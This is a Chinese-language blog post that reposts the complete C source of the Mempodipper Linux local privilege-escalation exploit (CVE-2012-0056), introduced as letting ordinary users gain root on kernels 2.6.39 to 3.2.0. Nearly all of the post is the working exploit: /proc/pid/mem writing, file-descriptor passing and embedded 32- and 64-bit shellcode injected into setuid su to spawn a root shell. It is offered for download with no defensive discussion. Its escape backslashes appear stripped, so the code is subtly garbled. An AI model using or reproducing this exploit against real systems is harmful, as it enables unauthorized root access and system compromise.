Linux 2.6.39 到 3.2.0 内核爆提权漏洞,普通用户可以通过运行特定代码获得 root 权限。

 /*
 * Mempodipper
 * by zx2c4
 *
 * Linux Local Root Exploit
 *
 * Rather than put my write up here, per usual, this time I've put it
 * in a rather lengthy blog post: http://blog.zx2c4.com/749
 *
 * Enjoy.
 *
 * - zx2c4
 * Jan 21, 2012
 *
 * CVE-2012-0056
 */

#define _LARGEFILE64_SOURCE
 #define _GNU_SOURCE
 #include <stdio.h>
 #include <string.h>
 #include <stdlib.h>
 #include <sys/types.h>
 #include <sys/stat.h>
 #include <sys/socket.h>
 #include <sys/un.h>
 #include <sys/wait.h>
 #include <sys/types.h>
 #include <sys/user.h>
 #include <sys/ptrace.h>
 #include <sys/reg.h>
 #include <fcntl.h>
 #include <unistd.h>
 #include <limits.h>
char *prog_name;
int send_fd(int sock, int fd)
 {
 char buf[1];
 struct iovec iov;
 struct msghdr msg;
 struct cmsghdr *cmsg;
 int n;
 char cms[CMSG_SPACE(sizeof(int))];
buf[0] = 0;
 iov.iov_base = buf;
 iov.iov_len = 1;
memset(&msg, 0, sizeof msg);
 msg.msg_iov = &iov;
 msg.msg_iovlen = 1;
 msg.msg_control = (caddr_t)cms;
 msg.msg_controllen = CMSG_LEN(sizeof(int));
cmsg = CMSG_FIRSTHDR(&msg);
 cmsg->cmsg_len = CMSG_LEN(sizeof(int));
 cmsg->cmsg_level = SOL_SOCKET;
 cmsg->cmsg_type = SCM_RIGHTS;
 memmove(CMSG_DATA(cmsg), &fd, sizeof(int));
if ((n = sendmsg(sock, &msg, 0)) != iov.iov_len)
 return -1;
 close(sock);
 return 0;
 }
int recv_fd(int sock)
 {
 int n;
 int fd;
 char buf[1];
 struct iovec iov;
 struct msghdr msg;
 struct cmsghdr *cmsg;
 char cms[CMSG_SPACE(sizeof(int))];
iov.iov_base = buf;
 iov.iov_len = 1;
memset(&msg, 0, sizeof msg);
 msg.msg_name = 0;
 msg.msg_namelen = 0;
 msg.msg_iov = &iov;
 msg.msg_iovlen = 1;
msg.msg_control = (caddr_t)cms;
 msg.msg_controllen = sizeof cms;
if ((n = recvmsg(sock, &msg, 0)) < 0)
 return -1;
 if (n == 0)
 return -1;
 cmsg = CMSG_FIRSTHDR(&msg);
 memmove(&fd, CMSG_DATA(cmsg), sizeof(int));
 close(sock);
 return fd;
 }
unsigned long ptrace_address()
 {
 int fd[2];
 printf("[+] Creating ptrace pipe.n");
 pipe2(fd, O_NONBLOCK);
 printf("[+] Forking ptrace child.n");
 int child = fork();
 if (child) {
 close(fd[1]);
 char buf;
 printf("[+] Waiting for ptraced child to give output on syscalls.n");
 for (;;) {
 wait(NULL);
 if (read(fd[0], &buf, 1) > 0)
 break;
 ptrace(PTRACE_SYSCALL, child, NULL, NULL);
 }
printf("[+] Error message written. Single stepping to find address.n");
 struct user_regs_struct regs;
 for (;;) {
 ptrace(PTRACE_SINGLESTEP, child, NULL, NULL);
 wait(NULL);
 ptrace(PTRACE_GETREGS, child, NULL, ®s);
 #if defined(__i386__)
 #define instruction_pointer regs.eip
 #define upper_bound 0xb0000000
 #elif defined(__x86_64__)
 #define instruction_pointer regs.rip
 #define upper_bound 0x700000000000
 #else
 #error "That platform is not supported."
 #endif
 if (instruction_pointer < upper_bound) {
 unsigned long instruction = ptrace(PTRACE_PEEKTEXT, child, instruction_pointer, NULL);
 if ((instruction & 0xffff) == 0x25ff /* jmp r/m32 */)
 return instruction_pointer;
 }
 }
 } else {
 printf("[+] Ptrace_traceme'ing process.n");
 if (ptrace(PTRACE_TRACEME, 0, NULL, NULL) < 0) {
 perror("[-] ptrace");
 return 0;
 }
 close(fd[0]);
 dup2(fd[1], 2);
 execl("/bin/su", "su", "not-a-valid-user", NULL);
 }
 return 0;
 }
unsigned long objdump_address()
 {
 FILE *command = popen("objdump -d /bin/su|grep '<exit@plt>'|head -n 1|cut -d ' ' -f 1|sed 's/^[0]*\([^0]*\)/0x\1/'", "r");
 if (!command) {
 perror("[-] popen");
 return 0;
 }
 char result[32];
 fgets(result, 32, command);
 pclose(command);
 return strtoul(result, NULL, 16);
 }
unsigned long find_address()
 {
 printf("[+] Ptracing su to find next instruction without reading binary.n");
 unsigned long address = ptrace_address();
 if (!address) {
 printf("[-] Ptrace failed.n");
 printf("[+] Reading su binary with objdump to find exit@plt.n");
 address = objdump_address();
 if (address == ULONG_MAX || !address) {
 printf("[-] Could not resolve /bin/su. Specify the exit@plt function address manually.n");
 printf("[-] Usage: %s -o ADDRESSn[-] Example: %s -o 0x402178n", prog_name, prog_name);
 exit(-1);
 }
 }
 printf("[+] Resolved call address to 0x%lx.n", address);
 return address;
 }
int su_padding()
 {
 printf("[+] Calculating su padding.n");
 FILE *command = popen("/bin/su this-user-does-not-exist 2>&1", "r");
 if (!command) {
 perror("[-] popen");
 exit(1);
 }
 char result[256];
 fgets(result, 256, command);
 pclose(command);
 return strstr(result, "this-user-does-not-exist") - result;
 }
int child(int sock)
 {
 char parent_mem[256];
 sprintf(parent_mem, "/proc/%d/mem", getppid());
 printf("[+] Opening parent mem %s in child.n", parent_mem);
 int fd = open(parent_mem, O_RDWR);
 if (fd < 0) {
 perror("[-] open");
 return 1;
 }
 printf("[+] Sending fd %d to parent.n", fd);
 send_fd(sock, fd);
 return 0;
 }
int parent(unsigned long address)
 {
 int sockets[2];
 printf("[+] Opening socketpair.n");
 if (socketpair(AF_UNIX, SOCK_STREAM, 0, sockets) < 0) {
 perror("[-] socketpair");
 return 1;
 }
 if (fork()) {
 printf("[+] Waiting for transferred fd in parent.n");
 int fd = recv_fd(sockets[1]);
 printf("[+] Received fd at %d.n", fd);
 if (fd < 0) {
 perror("[-] recv_fd");
 return 1;
 }
 printf("[+] Assigning fd %d to stderr.n", fd);
 dup2(2, 15);
 dup2(fd, 2);
unsigned long offset = address - su_padding();
 printf("[+] Seeking to offset 0x%lx.n", offset);
 lseek64(fd, offset, SEEK_SET);
#if defined(__i386__)
 // See shellcode-32.s in this package for the source.
 char shellcode[] =
 "x31xdbxb0x17xcdx80x31xdbxb0x2excdx80x31xc9xb3"
 "x0fxb1x02xb0x3fxcdx80x31xc0x50x68x6ex2fx73x68"
 "x68x2fx2fx62x69x89xe3x31xd2x66xbax2dx69x52x89"
 "xe0x31xd2x52x50x53x89xe1x31xd2x31xc0xb0x0bxcd"
 "x80";
 #elif defined(__x86_64__)
 // See shellcode-64.s in this package for the source.
 char shellcode[] =
 "x48x31xffxb0x69x0fx05x48x31xffxb0x6ax0fx05x48"
 "x31xf6x40xb7x0fx40xb6x02xb0x21x0fx05x48xbbx2f"
 "x2fx62x69x6ex2fx73x68x48xc1xebx08x53x48x89xe7"
 "x48x31xdbx66xbbx2dx69x53x48x89xe1x48x31xc0x50"
 "x51x57x48x89xe6x48x31xd2xb0x3bx0fx05";
 #else
 #error "That platform is not supported."
 #endif
 printf("[+] Executing su with shellcode.n");
 execl("/bin/su", "su", shellcode, NULL);
 } else {
 char sock[32];
 sprintf(sock, "%d", sockets[0]);
 printf("[+] Executing child from child fork.n");
 execl("/proc/self/exe", prog_name, "-c", sock, NULL);
 }
 return 0;
 }
int main(int argc, char **argv)
 {
 prog_name = argv[0];
if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'c')
 return child(atoi(argv[2]));
printf("===============================n");
 printf("= Mempodipper =n");
 printf("= by zx2c4 =n");
 printf("= Jan 21, 2012 =n");
 printf("===============================nn");
if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'o')
 return parent(strtoul(argv[2], NULL, 16));
 else
 return parent(find_address());
}

点击下载此文件



分享到: 更多

这篇日志的 QR 二维码为:

一月 29th, 2012

Posted In: linux系统

标签:, , ,

无觅相关文章插件,快速提升流量